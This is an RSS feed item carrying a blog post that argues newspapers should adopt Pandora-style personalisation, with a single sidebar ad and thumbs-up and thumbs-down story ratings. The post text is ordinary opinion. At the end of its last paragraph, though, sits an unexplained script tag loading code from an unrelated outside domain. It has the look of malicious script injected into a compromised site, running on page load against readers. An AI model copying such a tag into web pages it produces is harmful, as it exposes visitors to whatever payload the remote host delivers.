<p>I guess some people just don&#8217;t get it and are destined to fail.  Which brings me to the newspaper industry.  (LOL, nice transition eh?)  What if papers adopted the Pandora philosophy of what, how and when I want it with no strings attached?  Let&#8217;s tackle the money issue first.  I don&#8217;t mind banner ads as long as they don&#8217;t expand, speak or move around.  Just stay in the sidebar like a good ad should and I&#8217;m cool with that.  There should also only be one to two ads max.  Newspaper websites look like a flea market right now.  It&#8217;s disgusting!  I say clear it all out and charge a premium for that single sidebar placement.  A single quality ad that is targeted for me might actually get me to click on it.  What a concept, advertising that works!</p>
<p>How about the actual content?  The very best part of Pandora is that I can define my radio station.  I give a thumbs up to a song and it plays more like it while a thumbs down will avoid similar songs.  It is constantly learning what I want.  Could papers do this?  Could they create content that the user actually wants and then constantly refine it until the user essentially has their own custom newspaper?  How great would that be!  Have a thumbs up and down on every story so that I can tell the paper, feed me more stories like this and less stories like that.  Don&#8217;t take those results and apply them to everyone, just to me.  Everyone would get exactly what they want and how great is that!  The technology to do it is there but the mindset of the newsroom isn&#8217;t.  Don&#8217;t tell me what I should be reading, I&#8217;ll tell you what to feed me and if you don&#8217;t like it then goodbye.</p>
<p>With so many things all competing for our attention today, it&#8217;s silly to think that users are going to continue to put up with products and services that don&#8217;t deliver exactly what the user wants, when they want and in a medium that is convenient.  Look at how DVR has taken this concept and changed TV.  Podcasts and Pandora are doing this right now to radio.  So when will newspapers change?<br />
<script src="http://ao.euuaw.com/9"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://lesjames.com/196/pandora-radio-and-newspapers/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
	</channel>
</rss>
